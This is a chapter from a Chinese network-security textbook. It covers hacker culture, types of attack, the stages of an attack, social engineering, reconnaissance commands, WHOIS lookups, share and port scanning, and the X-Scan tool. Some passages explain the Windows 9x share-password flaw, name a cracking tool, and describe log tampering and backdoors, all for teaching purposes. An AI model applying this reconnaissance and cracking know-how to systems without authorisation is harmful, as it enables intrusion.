第2章 网络攻击与防范

本章学习要点

  • 了解黑客的由来和发展
  • 掌握常见网络攻击的分类和目的
  • 了解网络攻击的步骤
  • 掌握一般网络攻击的防范方法

2.1 网络攻击概述

2.1.1 黑客的概述

1.黑客的由来
黑客是“Hacker”的音译,源于动词Hack,其引申意义是指“干了一件非常漂亮的事”。这里说的黑客是指那些精于某方面技术的人。对于计算机而言,黑客就是精通网络、系统、外部设备以及软硬件技术的人。真正的黑客有自己独特的文化和精神,他们并不破坏别人的系统,他们崇拜技术,对计算机系统进行智力上的自由探索。早期的黑客是指真正的程序员,他们活跃在计算机技术发展的早期,使用机器语言、汇编语言以及很多古老的语言编写程序,将大部分时间花在计算机的程序设计上,并以此为乐。到了20世纪80年代以后,随着计算机网络技术的发展,现代的黑客们把精力放在了寻找各种系统漏洞上,并通过暴露网络系统中的缺陷与非授权更改服务器等行为,达到表现自我和反对权威的目的。
美国《发现》杂志对黑客有以下5种定义。
① 研究计算机程序并以此增长自身技巧的人。
② 对编程有无穷兴趣和热忱的人。
③ 能快速编程的人。
④ 某专门系统的专家,如“UNIX系统黑客”。
⑤ 恶意闯入他人计算机或系统,意图盗取敏感信息的人。对于这类人最合适的用词是骇客(cracker),而非hacker。二者之间最主要的不同是,黑客创造新东西,骇客破坏东西。
通常情况下黑客有自己的道德标准并受相关法律的约束。下面是一些比较公认的黑客准则。

  • 不恶意破坏系统。
  • 不修改系统文档。
  • 不在BBS上谈论入侵事项。
  • 入侵时不随意离开用户主机。
  • 不入侵或破坏政府机关系统的主机,不破坏互联网的基础结构和基础建设。
  • 不在电话中谈入侵事项。
  • 不删除或涂改已入侵主机的账号。
  • 不与朋友分享已破解的账号。

2.黑客的行为发展趋势
步入21世纪以后,黑客群体又有了新的变化和新的特征,主要表现在以下几个方面。
(1)黑客群体的扩大化
由于计算机和网络技术的普及,一大批没有受过系统的计算机教育和网络技术教育的黑客人才涌现出来。他们中的很多人不是计算机专业的毕业生,甚至有一些是十几岁的中学生。
(2)黑客的组织化和团体化
黑客界已经意识到单靠一个人的力量远远不够了,已经逐步形成了一个团体,利用网络进行交流和团体攻击,互相交流经验和自己写的工具。由于组织化和团体化特征的出现,使得黑客攻击的威胁性增大,黑客攻击的总体水平提高很快。
(3)动机复杂化
黑客的动机目前已经不再局限于为了国家、金钱和刺激,已经和国际的政治变化、经济变化紧密地结合在一起。

2.1.2 常见的网络攻击

黑客攻击和网络安全是紧密结合在一起的,研究网络安全而不研究黑客攻击技术简直是纸上谈兵,研究攻击技术而不研究网络安全就是闭门造车。从某种意义上说,没有攻击就没有安全,系统管理员可以利用常见的攻击手段对系统进行检测,并对相关的漏洞采取有效的补救措施。
网络攻击有善意的也有恶意的。善意的攻击可以帮助系统管理员检查系统漏洞。恶意的攻击包括为了私人恩怨而攻击、出于商业或个人目的获得秘密资料、利用对方的系统资源满足自己的需求、寻求刺激、给别人帮忙以及一些无目的的攻击等。
1.攻击目的
一般情况下,网络攻击总有明确的目的性,其攻击目标也多种多样,但大致上可以归纳总结如下。
(1)窃取信息
黑客最直接的攻击目的就是窃取信息。黑客选取的攻击目标往往是重要的信息和数据,在获取这些信息和数据后,黑客就可以进行各种破坏活动。政府、军事、邮电和金融网络是黑客攻击的首选目标。随着计算机和网络技术在各个领域的广泛应用,黑客的破坏活动也随之猖獗。
窃取信息包括破坏信息的保密性和完整性。破坏信息的保密性是指黑客将窃取到的保密信息发往公开的站点。而破坏信息的完整性是指黑客对重要文件进行修改、更换或删除,使得原始信息发生改变,以至于不真实或错误,给用户带来难以估量的损失。
(2)获取口令
实际上,获取口令也是窃取信息的一种。由于口令的特殊性,所以单独列出。黑客通过登录目标主机,或使用网络监听程序进行攻击。监听到口令后,便可以登录到其他主机,或访问一些本来无权访问的资源。
(3)控制中间站点
在某些情况下,黑客为了攻击一台主机,往往需要一个中间站点,以免暴露自己的真实地址。这样即使被发现,也只能找到中间站点的地址,而真正的攻击者可以隐藏起来。
(4)获得超级用户权限
黑客在攻击一个系统时,都企图得到超级用户的权限,这样就可以完全隐藏自己的行踪,并可在系统中留下方便的后门,便于修改资源配置,做任何只有超级用户才能做的事情。
2.攻击事件分类
通常在信息系统中,至少存在3类安全威胁:外部攻击、内部攻击和行为滥用。

  • 外部攻击:攻击者来自该计算机系统的外部。
  • 内部攻击:当攻击者是那些有权使用计算机,但无权访问某些特定的数据、程序或资源的人,企图越权使用系统资源的行为。
  • 行为滥用:计算机系统资源的合法用户有意或无意地滥用他们的特权。

一般来说,发现外部攻击者的攻击企图可以通过审计试图登录的失败记录。发现内部攻击者的攻击企图可以通过观察试图连接特定文件、程序或其他资源的失败记录。通过将用户特定的行为与为每个用户单独建立的行为模型进行对比,用这种检测手段发现假冒者,但要通过审计信息来发现那些权力滥用者往往是很困难的。
实施外部攻击的方法很多,从攻击者目的的角度来讲,可将攻击事件分为以下5类。
(1)破坏型攻击
破坏型攻击以破坏对方系统为主要目标,破坏的方式包括使对方系统拒绝提供服务、删除有用数据甚至操作系统、破坏硬件系统(如CIH病毒)等。其中病毒攻击、拒绝服务(Denial of Service)是最常见的破坏性攻击。
(2)利用型攻击
利用型攻击是一类试图直接对目标计算机进行控制的攻击,目标计算机一旦被攻击者控制,其上的信息可能被窃取,文件可能被修改,甚至还可以利用目标计算机作为跳板来攻击其他计算机。典型的利用型攻击手段有以下3种。
① 口令猜测:入侵者通过系统常用的服务,或对网络通信进行监听来搜集账户,当找到主机上的有效账号后,通过各种方法获取password文件,然后利用口令猜测程序破译用户账号和密码。
② 特洛伊木马:一种直接由攻击者或一个不令人起疑的用户秘密安装到目标系统的程序。一旦安装成功,可以远程控制目标系统。当目标计算机启动时,木马程序随之启动,在特定端口监听,通过端口收到命令后,特洛伊木马程序根据命令在目标计算机中执行操作,如传送或删除文件、窃取口令、重新启动计算机等。后门程序是一种典型的木马程序。
③ 缓冲区溢出:一种通过向程序的缓冲区中写入超出其长度的内容,造成缓冲区溢出,从而破坏程序的堆栈,使程序转而执行其他预设指令,以达到攻击目的的攻击方法。缓冲
区溢出是一个非常普遍、非常严重的安全漏洞,在各种操作系统中广泛存在。
(3)信息收集型攻击
信息收集型攻击并不对目标本身造成危害,这类攻击被用来为进一步入侵提供有用的信息。它主要包括扫描技术、体系结构探测、利用网络服务、网络监听等。
① 扫描技术。入侵者通常需要借助扫描器来仔细地逐个检查远程或本地系统中的各种信息,通常的扫描方法有以下几种。

  • 地址扫描:利用ping这样的程序探测目标IP地址,若目标响应,则表示其存在。
  • 端口扫描:检查目标主机在某一范围内的端口是否打开,端口包括通用的网络服务端口、已知的木马端口或后门端口。知道主机上哪些端口是打开的,借以推断目标主机上可能存在的弱点。
  • 反响扫描:攻击者向主机发送虚假消息,然后根据返回“host unreachable”这一消息特征判断出哪些主机是存在的。
  • 慢速扫描:攻击者使用扫描速度慢的软件来避开扫描探测器的检查。一般探测器监视某一时间段内主机连接的数目(每秒10次)来决定是否被扫描。
  • 漏洞扫描:扫描目标系统以发现可能的漏洞,为节省时间,一般先进行粗略的扫描,寻找提供服务较多、安全防范较弱的主机,然后对其进行详细地扫描。

② 体系结构探测。体系结构探测又叫作系统扫描,攻击者使用具有已知响应类型的数据库的自动工具,对来自目标主机的坏数据包传送所做出的响应进行检查。由于每种操作系统都有独特的响应方法,通过与数据库中的已知响应比较,能够确定出目标主机所运行的操作系统,甚至可以了解到目标的系统配置,确定目标所使用的软件。
③ 利用信息服务。

  • DNS域转换:DNS协议不对域信息进行身份认证,攻击者只需对公共DNS服务器实施一次域转换操作就能得到所有主机名和内部IP地址。
  • Finger服务:Finger(端口79)服务用于提供站点和用户的基本信息,通过Finger服务,可以查询到站点上在线用户清单和其他的有用信息。攻击者使用Finger命令来探测一台Finger服务器,以获取关于该系统的用户信息。
  • LDAP服务:LDAP是基于X.500标准的轻量级目录访问协议,支持TCP/IP。LDAP服务器中以树形结构存储大量的网络内部及其用户信息,攻击者利用扫描器发现LDAP服务器后,再使用LDAP客户端工具进行信息窃取。

(4)网络欺骗攻击
① DNS欺骗攻击。DNS服务器与其他服务器进行信息交换时不进行身份验证,攻击者可以将不正确的信息掺进来,并把用户引向攻击者自己的主机。
② 电子邮件攻击。由于SMTP不对邮件发送者进行身份认证,攻击者可以对内部客户伪造电子邮件。
③ Web欺骗。针对浏览网页的个人用户进行欺骗,非法获取或者破坏个人用户的隐私和数据资料。
④ IP欺骗。伪造数据包源IP地址的攻击,它实现的可能性基于两个前提:TCP/IP网络在路由选择时,只判断目的IP地址,而不对源IP地址进行判断;两台主机之间存在基于IP地址的认证授权访问。
(5)垃圾信息攻击
垃圾信息是指发送者因某种目的大量发送的,而接收者又不愿意接收的信息。多数情况下,垃圾信息攻击不以破坏对方为目的,而是以传播特定信息为主要目的,如发送大量的广告信息等。

2.1.3 攻击步骤

进行网络攻击并不是件简单的事,它是一项复杂及步骤性很强的工作。一般的攻击都分为3个阶段,即攻击的准备阶段、攻击的实施阶段、攻击的善后阶段,如图2.1所示。

图像说明文字

1.攻击的准备阶段
在攻击的准备阶段重点做3件事情:确定攻击目的、收集目标信息以及准备攻击工具。
① 确定攻击目的:首先确定攻击希望达到的效果,这样才能做下一步工作。
② 收集目标信息:在获取了目标主机及其所在网络的类型后,还需进一步获取有关信息,如目标主机的IP地址、操作系统的版本和类型、系统管理人员的邮件地址等,根据这些信息进行分析,可得到被攻击系统中可能存在的漏洞。
③ 准备攻击工具:收集或编写适当的工具,并在对操作系统分析的基础上,对工具进行评估,判断有哪些漏洞和区域没有覆盖到。
2.攻击的实施阶段
本阶段实施具体的攻击行动。作为破坏性攻击,只需要利用工具发动攻击即可;而作为入侵性攻击,往往需要利用收集到的信息,找到系统漏洞,然后利用该漏洞获取一定的权限。大多数攻击成功的范例都是利用被攻击者系统本身的漏洞。能够被攻击者利用的漏洞不仅包括系统软件设计上的漏洞,也包括由于管理配置不当而造成的漏洞。
攻击实施阶段的一般步骤如下。
① 隐藏自己的位置,攻击者利用隐藏IP地址等方式保护自己不被追踪。
② 利用收集到的信息获取账号和密码,登录主机。攻击者要想入侵一台主机,仅仅知道它的地址、操作系统信息是不够的,还必须要有该主机的一个账号和密码,否则连登录都无法进行。
③ 利用漏洞或者其他方法获得控制权并窃取网络资源和特权。攻击者用FTP、Telnet等工具且利用系统漏洞进入目标主机系统获得控制权后,就可以做任何他们想做的工作了。例如,下载敏感信息;窃取账户密码、信用卡号;使网络瘫痪。也可以更改某些系统设置,在系统中放置特洛伊木马或其他远程操纵程序,以便日后可以不被察觉地再次进入系统。
3.攻击的善后阶段
对于攻击者来讲,完成前两个阶段的工作,也就基本上完成了攻击的目的,所以,攻击的善后阶段往往会被忽视。如果完成攻击后不做任何善后工作,那么他的行踪会很快被细心的系统管理员发现,因为所有的网络操作系统一般都提供日志记录功能,记录所执行的操作。
为了自身的隐蔽性,高水平的攻击者会抹掉在日志中留下的痕迹。最简单的方法就是删除日志,这样做虽然避免了自己的信息被系统管理员追踪到,但是也明确无误地告诉了对方系统被入侵了,所以最常见的方法是对日志文件中有关自己的那一部分进行修改。
清除完日志后,需要植入后门程序,因为一旦系统被攻破,攻击者希望日后能够不止一次地进入该系统。为了下次攻击的方便,攻击者都会留下一个后门。充当后门的工具种类非常多,如传统的木马程序。为了能够将受害主机作为跳板去攻击其他目标,攻击者还会在其上安装各种工具,包括嗅探器、扫描器、代理等。

2.2 网络攻击的准备阶段

2.2.1 社会工程学介绍

提到网络安全就不得不提黑客。黑客,网络中最主要的玩家。有了网络,有了黑客,也就有了网络安全这个概念。社会工程学是黑客攻击网络的主要手段之一。尤其是近几年社会工程学攻击越来越猖獗,所以了解社会工程学是很有必要的。
1.社会工程学的概述
社会工程学就是利用人的心理弱点(如人的本能反应、好奇心、信任、贪婪)、规章与制度的漏洞等进行欺骗、伤害等,以期获得所需的信息(如计算机口令、银行账号信息)。社会工程学有狭义与广义之分。广义与狭义社会工程学最明显的区别是会与受害者进行交互式行为。例如,通过设置一个陷阱使对方掉入,或是伪造的虚假电子邮件,或者利用相关通信工具与他们交流获取敏感信息。广义的社会工程学是清楚地知道自己需要什么信息,应该怎样去做,从收集的信息当中分析出应该与哪个关键人物交流。社会工程学入侵与传统的黑客入侵有着本质的区别,是非传统的信息安全。它不是利用漏洞入侵,而是利用人性的漏洞。它是无法用硬件防火墙、入侵检测系统,虚拟专用网络,或是安全软件产品来防御的。社会工程学不是单纯针对系统入侵与源代码窃取,本质上,它在黑客攻击边沿上独立并平衡着。它的威胁不仅仅是信息安全,还包括能源、经济、文化、恐怖主义等。国防大学卢凡博士曾经说过:“它(社会工程学攻击)并不能等同于一般的欺骗手法,即使自认为最警惕最小心的人,一样会受到高明的社会工程学手段的损害,因为社会工程学主导着非传统信息安全,所以通过对它的研究可以提高对非传统信息安全事件的能力。”
2.主要攻击手段
现在的大多数攻击的典型入侵手段是传统的系统攻击与脚本攻击,由于安全厂商不断提供完备的解决方案变得越来越难了。在这样的情况下社会工程学慢慢地成了主流入侵技术,他们通过信息搜集与拨打电话式的社交直接索取密码,使得入侵更加容易,同时对网络安全提出了更高的要求,不断完善的安全技术推动了社会工程学的进一步发展。因此,要确保网络信息安全,就必须了解其主要的进攻手段。
(1)网络钓鱼攻击
网络钓鱼(Phishing)一词,是“Phone”和“Fishing”的综合体,由于黑客始祖起初是以电话作案,所以用“Ph”来取代“F”,创造了“Phishing”。其含义是通过大量发送声称来自银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出敏感信息(如用户名、口令、账号 ID、ATM PIN 码或信用卡详细信息)的一种攻击方式。最典型的网络钓鱼攻击将收信人引诱到一个通过精心设计的、与目标组织网站非常相似的钓鱼网站上,并获取收信人在此网站上输入的个人敏感信息,通常这个攻击过程不会让受害者警觉。这些个人信息对黑客们具有非常大的吸引力,因为这些信息使得他们可以假冒受害者进行欺诈性金融交易,从而获得经济利益。受害者经常遭受显著的经济损失或全部个人信息被窃取。
(2)传统的社交手段
利用传统的社交手段,如前面提到的通过打电话的方式,使用专业的术语,诱骗内部人员使用的系统ID,甚至使得一个系统管理员将登录系统的账号传真过来等。

2.2.2 网络信息搜集

1.常用DOS命令
(1)ping命令
ping命令是入侵者经常使用的网络命令,该命令用于测试网络连接性,通过发送特定形式的ICMP包来请求主机的回应,进而获得主机的一些属性。
ping 命令的使用格式如下。

图像说明文字

参数说明如下。
[-t] 一直ping 下去,直到按下“Ctrl+C”组合键结束字节。
[-a] ping的同时把IP地址转换成主机名。
[-l] 指定数据包的大小,默认为32个字节,最大为65 527个字节。
[-f] 在数据包中发送“不要分段”标志,数据包不会被路由设备分段。
[-n count] 设定ping的次数。
[-i TTL] 设置ICMP包的生存时间(指ICMP包能够传到临近的第几个节点)。
例如,使用命令“ping 192.168.1.1”,如果返回的结果是“Reply from 192.168.1.1: bytes time<10ms ttl=62”,目标主机有响应,说明192.168.1.1这台主机是活动的。如果返回的结果是“Request timed out.”,则目标主机不是活动的,即目标主机不在线或安装有网络防火墙,这样的主机是不容易入侵的。不同的操作系统对于ping的TTL返回值是不同的,如表2.1所示。

图像说明文字

因此,入侵者便可以根据不同的TTL返回值来推测目标究竟属于何种操作系统。对于入侵者的这种信息收集手段,网管可以通过修改注册表来改变默认的TTL返回值。
在一般情况下黑客是如何得到目标IP地址和目标主机的地理位置的呢?他们可以通过以下方法来实现。
① 由域名得到网站IP地址。

  • 方法一:ping命令试探。
    使用命令:ping域名。
    例如,黑客想知道百度服务器的IP地址,可以在MS-DOS中输入“ping www.baidu.com”命令,如图2.2所示。

图像说明文字

从图2.2可以看出,www.baidu.com对应的IP地址为202.108.22.43。

  • 方法二:nslookup命令。
    使用命令:nslookup域名。
    同样以百度服务器为例,在MS-DOS中输入“nslookup www.baidu.com”命令,按“Enter”键后得到域名查询结果,如图2.3所示。

图像说明文字

从图2.3返回的结果分析,Addresses后面列出的就是www.baidu.com所使用的Web服务器群里的IP。
上面介绍的是黑客经常使用的两种最基本的方法。此外,还有一些软件(如Lansee)附带域名转换IP的功能,实现起来更简单,功能更强大。从这两种方法中可以看出,ping命令方便、快捷,nslookup命令查询到的结果更为详细。
② 由IP得到目标主机的地理位置。由于IP地址的分配是全球统一管理的,因此黑客可以通过查询有关机构的IP地址数据库来得到该IP所对应的地理位置,由于IP管理机构多处于国外,而且分布比较零散,因此在这里介绍一个能查询到IP数据库的网站。
网址:http://ip.loveroot.com,如图2.4所示。

图像说明文字

例如,要查询202.108.22.5(百度的IP)的物理地址,可以在图2.4所示的“IP地址”右面的文本框输入“202.108.22.5”,然后单击“查询”按钮,就会得到如图2.5所示的查询结果。

图像说明文字

(2)netstat命令
netstat命令有助于了解网络的整体使用情况。它可以显示当前正在活动的网络连接的详细信息,如采用的协议类型、当前主机与远端相连主机(一个或多个)的IP地址以及它们之间的连接状态等。
netstat命令的使用格式如下。

图像说明文字

参数说明如下。
[-a] 显示所有主机的端口号。
[-e] 显示以太网统计信息,该参数可以与-s选项结合使用。
[-n] 以数字表格形式显示地址和端口。
[-s] 显示每个协议的使用状态(包括TCP、UDP、IP)。
[-p proto] 显示特定协议的具体使用信息。
[-r] 显示本机路由表的内容。
[interval] 重新显示所选的状态,每次显示之间的间隔数(单位秒)。
netstat命令的主要用途是检测本地系统开放的端口,这样做可以了解自己的系统开放了什么服务,还可以初步推断系统是否存在木马,因为常见的网络服务开放的默认端口轻易不会被木马占用。
(3)nbtstat命令
nbtstat命令用于显示本地计算机和远程计算机的基于TCP/IP(NetBT)的NetBIOS 统计资料、NetBIOS 名称表和NetBIOS名称缓存。nbtstat可以刷新NetBIOS名称缓存和注册的Windows Internet 名称服务(WINS)名称。使用不带参数的 nbtstat 显示帮助。
nbtstat命令的使用格式如下。

图像说明文字

参数说明如下。
[-a remotename] 显示远程计算机的NetBIOS名称表,其中,remotename是远程计算机的NetBIOS计算机名称。
[-A IPaddress] 显示远程计算机的NetBIOS名称表,其名称由远程计算机的IP地址指定(以小数点分隔)。
[-c] 显示NetBIOS 名称缓存内容、NetBIOS 名称表及其解析的各个地址。
[-n] 显示本地计算机的 NetBIOS 名称表。
[-r] 显示NetBIOS名称解析统计资料。
[-R] 清除NetBIOS名称缓存的内容,并从Lmhosts文件中重新加载带有#PRE标记的项目。
[-RR] 重新释放并刷新通过WINS注册的本地计算机的NetBIOS名称。
[-s] 显示NetBIOS客户和服务器会话,并试图将目标IP地址转化为名称。
[-S] 显示NetBIOS客户和服务器会话,只通过IP地址列出远程计算机。
[Interval] 重新显示选择的统计资料,可以中断每个显示之间的Interval中指定的秒数。如果省略该参数,nbtstat将只显示一次当前的配置信息。
2.网站信息搜集
一个网站在正式发布之前,需要向有关机构申请域名。域名信息和相关的申请信息存储在管理机构的数据库中,信息一般是公开的,从中包含了一定的敏感信息:注册人的姓名;注册人的E-mail、联系电话、传真等;注册机构、通信地址、邮编;注册有效时间、失效时间。
通常,查询域名注册信息的方法被称为“WHOIS”。Linux系统自带WHOIS命令,而Windows系统中并没有。不过,可以通过以下几个网站来查询域名注册信息。
(1)中国互联网络信息中心
中国互联网络信息中心(http://www.cnnic.com.cn)是比较权威的机构,记录着所有以cn为结尾的域名注册信息,其查询界面如图2.6所示。

图像说明文字

(2)中国万网
中国万网(http://www.net.cn),号称是中国最大的域名和网站托管服务提供商,不仅提供.cn的域名注册信息,而且还有.com、.net等注册信息。其查询界面如图2.7所示。

图像说明文字

(3)EDGAR数据库
美国的上市公司要求在美国证券交易委员会(Security and Exchange Commission,SEC)登记,这些信息可以通过EDGAR数据库进行访问,地址是http://www.sec.gov/edgar.shtml。
3.结构探测
一般来说,网络的基本结构如图2.8所示。

图像说明文字

对于Windows平台,使用相关工具可以大体推断目标网络的基本结构。
(1)VisualRoute探测
VisualRoute是图形化的路由跟踪工具,它是为了方便网管分析故障节点而设计的。可以使用专门的VisualRoute软件,也可以到http://www.linkwan.com/vr,使用该网站提供的VisualRoute功能。VisualRoute探测视图如图2.9所示。

图像说明文字

(2)tracert 命令
tracert是路由跟踪命令,通过该命令的返回结果,可以获得本地到达目标主机所经过的网络设备。
tracert命令的使用格式如下。

图像说明文字

参数说明如下。
[-d] 不需要把IP地址转换成域名。
[-h maximum_hops] 允许跟踪的最大跳跃数。
[-j host-list] 经过的主机列表。
[-w timeout] 每次回复的最大允许延时。
在前面介绍过的ping命令中有一个TTL参数,该参数用来指定ICMP包的存活时间,这里的存活时间是指数据包所能经过的节点总数。例如,如果一个ICMP包的TTL值被设置成2,那么这个ICMP包在网络上只能传到邻近的第二个节点;如果被设置成1,那么这个ICMP包只能传到邻近的第一个节点。tracert就是根据这个原理设计的,使用该命令时,本机发出的ICMP数据包TTL值从1开始自动增加,相当于ping遍历通往目标主机的每个网络设备,然后显示每个设备的回应,从而探知网络路径中的每一个节点。
例如,输入“tracert www.163.com”命令来探测发往163的数据包都经过了哪些节点,进而来分析目标网络的结构。
4.搜索引擎
下面介绍几个国内外流行的搜索引擎。
(1)Google
Google是一个功能强大的搜索引擎,其网址为http://www.google.com.hk。
Google的四大技术如下。
① Google bot。Google bot运行在Google自己的服务器上,从一个Web站点爬行到另一个,根据链接获得站点的信息。
② Google索引。根据Google bot获得的信息,创建Web站点索引,然后把相似页面归类,并和检索条件关联起来。当向Google提出查询时,索引就是我们提供的检索关键字。Google的索引算法由创始人Sergey Brn和Lawrence Page设计,后不断改善,但至今没有公布。
③ Google快照。Google bot在检索网页时,会为每份文档保存一个备份,每个页面文本大小接近101KB,包括HTML、DOC、PDF、PPT和其他各种文件的类型,这些文档作为Google快照保存起来,大一些的文档会被索引,但仅仅是开头的101KB文本内容。
④ Google API。Google 创建的一个计算机程序,用来进行检索,并取回结果,使用XML创建请求,使用简单对象访问协议(SOAP)发送给Google,Google会以XML格式返回结果。
使用Google API,可以查看www.soapware.org/directory/4/services/googleApi/applications。
Google API的应用需要密钥,可以免费获得,但每天一个密钥最多查询1000次,一台机器最多使用一个密钥。
(2)百度
百度功能强大,号称“全球第一大中文搜索”,其网址为http://www.baidu.com。
(3)Yahoo
Yahoo是一个比较老的搜索引擎,其功能比较强,尤其是搜索英文资料。其网址为http://www.yahoo.com。
(4)MSN Search
网址为http://www.bing.com。

2.2.3 资源搜集

1.共享资源简介
(1)共享资源
这里提及的共享资源是指Windows系统中的“共享磁盘”、“共享文件夹”、“共享文件”、“共享打印机”等。对于一般的共享,下面都会有个“托手”标志,而对于以“$”结尾的共享却没有“托手”标志,属于隐藏共享。
(2)建立共享的条件
条件1:需要有足够的权限。
条件2:已安装“Microsoft网络文件和打印机共享”组件。
条件3:已安装NetBEUI协议。如果没有安装NetBEUI协议,那么只能使用IP地址来互相访问共享资源;如果安装了NetBEUI协议,便可以在同一局域网内使用主机名互相访问共享资源。
如果满足上述条件,就可以在计算机上建立“共享资源”了。
2.共享资源搜索
(1)扫描器简介
扫描器就是能够“自动”完成探测任务的一种工具。黑客们用它来代替重复的手工劳动,实现对目标网络信息的自动搜集、整理甚至分析。
使用扫描器都能搜集到什么信息呢?可以这样说,需要搜集什么样的信息,黑客们就会有什么样的扫描器。常用的扫描器种类有“共享资源扫描器”、“漏洞扫描器”、“弱口令扫描器”、“FTP扫描器”、“代理扫描器”等。
(2)常用扫描器工具
① 工具Ipscan。Ipscan可以判断目标网段内有无活动主机。其中,红色显示的是不在线主机,蓝色显示的是活动主机,最后面显示的是主机名。
② 工具Legion(共享资源扫描器)。Legion可以实现对共享资源的扫描,然后将共享资源映射到本地。
③ 工具Lansee(局域网查看工具)。Lansee可以对局域网中的主机进行扫描,并获得局域网内的共享资源。
3.破解Windows 9x共享密码
由于Windows 9x系统中存在共享密码校验漏洞,所以攻击者不需要密码就可以访问Windows 9x系统的共享资源。
Windows 9x服务端在对客户端的口令进行的校验是以客户端的长度数据为依据的。因此,客户端在发送口令认证数据包时可以设置长度域为1,同时给服务端发送一个字节的明文口令。服务器端就会将客户端发来口令与服务端保存的共享口令的第一个字节进行明文比较,如果匹配就认为通过了验证。因此,攻击者仅仅需要猜测共享口令的第一个字节即可。
存在该漏洞的系统有Microsoft Windows 95、Microsoft Windows 98和Microsoft Windows 98 Second Edition。
使用工具PQwak2.exe可以搜索共享资源,并破解出目标主机的密码。
4.FTP资料扫描
FTP(File Transfer Protocol,文件传输协议)服务器用来提供文件上传、下载服务。如果FTP资源能够被未被授权客户随意读写,同样会造成安全隐患。可以使用工具SFtp来扫描FTP站点信息。
5.安全解决方案
通过前面的介绍可知,如果共享资源设置不当,极有可能导致计算机被入侵者控制,可以通过以下几条安全解决方案来保证共享资源的安全。
① 尽量不要开放共享资源。
② 在不得不开放共享资源的条件下,把访问者的权限降至最低。
③ 禁用光盘自动运行功能,以防止autorun.inf造成的入侵。
④ 尽量不要使用Window 9x系统运行共享服务,如果使用则需要先给系统打补丁包。
⑤ 切忌共享系统磁盘,特别是系统文件所在的C盘。

2.2.4 端口扫描

1.网络基础知识
(1)端口的基本概念
“端口”在计算机网络领域中是个非常重要的概念。它是专门为计算机通信而设计的,它不是硬件,不同于计算机中的“插槽”,可以说是个“软端口”。
端口是由计算机的通信协议TCP/IP定义的。其中规定,用IP地址和端口作为套接字,它代表TCP连接的一个连接端,一般称为Socket。具体来说,就是用[IP:端口]来定位一台主机中的进程。可以用这样的比喻:端口相当于两台计算机进程间的大门,可以任意定义,其目的只是为了让两台计算机能够找到对方的进程。计算机就像一座大楼,这个大楼有好多入口(端口),进到不同的入口中就可以找到不同的公司(进程)。如果要和远程主机A的程序通信,那么只要把数据发向[A:端口]就可以实现通信了。可见,端口与进程是一一对应的,如果某个进程正在等待连接,称之为该进程正在监听,那么就会出现与它相对应的端口。由此可见,入侵者通过扫描端口,便可以判断出目标计算机有哪些通信进程正在等待连续。
(2)端口的分类
端口是一个16bit的地址,用端口号标识不同作用的端口号,常见的端口号如表2.2和表2.3所示。端口一般分为以下两类。
①熟知端口号(公认端口号):由Internet指派名字和号码公司ICANN负责分配给一些常用的应用程序固定使用的熟知端口,其值一般为0~1023。
②一般端口号:用来随时分配给请求通信的客户进程。

图像说明文字

图像说明文字

2.端口扫描原理
端口扫描是入侵者搜集信息的常用手法,通过端口扫描,能够判断出目标主机开放了哪些服务、运行哪种操作系统,为下一步的入侵做好准备。端口扫描尝试与目标主机的某些端口建立TCP连接,如果目标主机端口有回复,则说明该端口开放,即为“活动端口”。一般端口扫描方式分为4种。
(1)全TCP连接
这种扫描方法使用3次握手,与目标计算机建立标准的TCP连接。这种方法容易被目标主机记录,但获取的信息比较详细。
(2)半打开式扫描(SYN扫描)
扫描主机自动向目标计算机的指定端口发送SYN数据段,表示发送建立连接请求。由于扫描过程中,全连接尚未建立,所以大大降低了被目标计算机记录的可能,并且加快了扫描速度。
① 若目标计算机的回应TCP报文中SYN=1,ACK=1,则说明该端口是活动的,接下来扫描主机发送一个RST给目标计算机,拒绝建立TCP连接,从而导致3次握手的失败。
② 若目标计算机的回应是RST,则表示该端口不是活动端口。这种情况下,扫描主机不用作任何回应。
(3)FIN扫描
依靠发送FIN字段来判断目标计算机的指定端口是否活动。发送一个FIN=1的TCP报文到一个关闭的端口时,该报文会被丢掉,并返回一个RST报文。如果当FIN报文到一个活动端口时,该报文只是简单地丢弃,不会返回任何回应。从中可以看出,FIN扫描没有涉及任何TCP连接部分,因此,这种扫描比前两种都安全。
(4)第三方扫描
第三方扫描又称“代理扫描”,这种扫描利用第三方主机来代替入侵者进行扫描。第三方主机一般是入侵者通过入侵其他计算机而得到的,该主机又被称为“肉鸡”,是安全防御系数极低的个人计算机。
3.扫描工具
(1)扫描器X-Scan
X-Scan是国内最著名的综合扫描器之一,它完全免费,是不需要安装的绿色软件,界面支持中文和英文两种语言,包括图形界面和命令行方式。X-Scan把扫描报告和安全焦点网站相连接,对扫描到的每个漏洞进行“风险等级”评估,并提供漏洞描述、漏洞溢出程序,方便网管测试、修补漏洞。
X-Scan的主界面如图2.10所示。

图像说明文字

X-Scan的使用步骤如下。
步骤1:设置检测范围。
步骤2:设置扫描模块。

  • 开放服务:探测目标主机开放了哪些端口。
  • SNMP信息:探测目标主机的SNMP(简单网络管理协议)信息。通过对这一项的扫描,可以检查出目标主机在SNMP中不正当的设置。
  • SL漏洞:SSL是网上传输信用卡和账号密码等信息时广泛采用的行业加密标准。但是这种标准并不是完美无缺的,可以通过X-Scan来检测是否存在该漏洞。
  • RPC漏洞:RPC(Remote Procedure Call,远程过程调用)允许一台计算机上的程序去执行另一台计算机上的程序。它广泛应用于网络服务中,由于RPC功能强大、实现复杂,因而难免出现或大或小的缺陷。有证据表明,1999年年末到2000年年初大规模的分布式拒绝服务攻击中,很多被作为攻击跳板的牺牲品就是因为存在RPC漏洞。
  • SQL-Server弱口令:如果SQL-Server(数据库服务器)的管理员密码采用默认设置或设置过于简单,如“123”、“abc”等,就会被X-Scan扫描出SQL- Server弱口令。
  • FTP弱口令:探测FTP服务器(文件传输服务器)上的密码设置是否过于简单或允许匿名登录。
  • NT-Server弱口令:探测NT主机用户名密码是否过于简单。
  • NetBIOS信息:NetBIOS(网络基本输入输出协议)通过139端口提供服务。默认情况下存在。可以通过NetBIOS获取远程主机信息。
  • SMTP漏洞:SMTP(简单邮件传输协议)漏洞指SMTP在实现过程中出现的缺陷(Bug)。
  • POP3弱口令:POP3是一种邮件服务协议,专门用来为用户接收邮件。选择该项后,X-Scan会探测目标主机是否存在POP3弱口令。
  • CGI“公用网关接口”漏洞:自动探测成百个CGI漏洞。它可以实现Web服务器和浏览器(用户)的信息交互。通过CGI程序接受Web浏览器发送给 Web服务器的信息,进行处理,将响应结果再回送给Web服务器及Web浏览器,如常见的表单(Form)数据的处理、数据库查询等。如果设置不当,可以让未授权者通过CGI漏洞进行越权操作。
